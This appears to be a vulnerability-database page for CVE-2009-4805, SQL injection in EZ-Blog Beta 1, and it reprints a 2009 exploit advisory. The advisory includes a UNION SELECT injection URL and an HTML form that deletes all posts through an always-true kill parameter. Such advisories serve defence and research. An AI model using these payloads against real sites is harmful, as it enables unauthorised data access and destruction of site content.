CVE-2009-4805
Description
Multiple SQL injection vulnerabilities in EZ-Blog Beta 1, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via (1) the storyid parameter to public/view.php or (2) the kill parameter to admin/remove.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
EZ-Blog beta1 - Delete All Posts / SQL Injection
******* Salvatore "drosophila" Fresta *******
Application: EZ-Blog
http://sourceforge.net/projects/ez-blog/
Version: Beta 1
Bug: * Multiple SQL Injection
Exploitation: Remote
Date: 1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: drosophilaxxx@gmail.com
*************************************************
- BUGS
SQL Injection:
Requisites: magic_quotes_gpc = off
This is a crazy application because it not
require authentication for posting, deleting,
etc. and it is entirely vulnerable to SQL
Injection, as follows:
http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10%23
There aren't hight reserved information on the
database, but it is possible to cause inconvenience.
The following injection allow to delete all
posts:
<form action="http://site/path/admin/remove.php" method="POST">
<input type="hidden" name="kill" value="1'or'1'='1">
<input type="hidden" name="confirm" value="1">
<input type="hidden" name="rm" value="true">
<input type="submit" value="Exploit">
</form>
# milw0rm.com [2009-03-02]
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| will_kraft | ez-blog | - | |
References
- http://www.exploit-db.com/exploits/8128
- http://www.securityfocus.com/archive/1/501352/100/0/threaded
- http://www.securityfocus.com/bid/33947
- https://exchange.xforce.ibmcloud.com/vulnerabilities/49013
- http://www.exploit-db.com/exploits/8128
- http://www.securityfocus.com/archive/1/501352/100/0/threaded
- http://www.securityfocus.com/bid/33947
- https://exchange.xforce.ibmcloud.com/vulnerabilities/49013
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.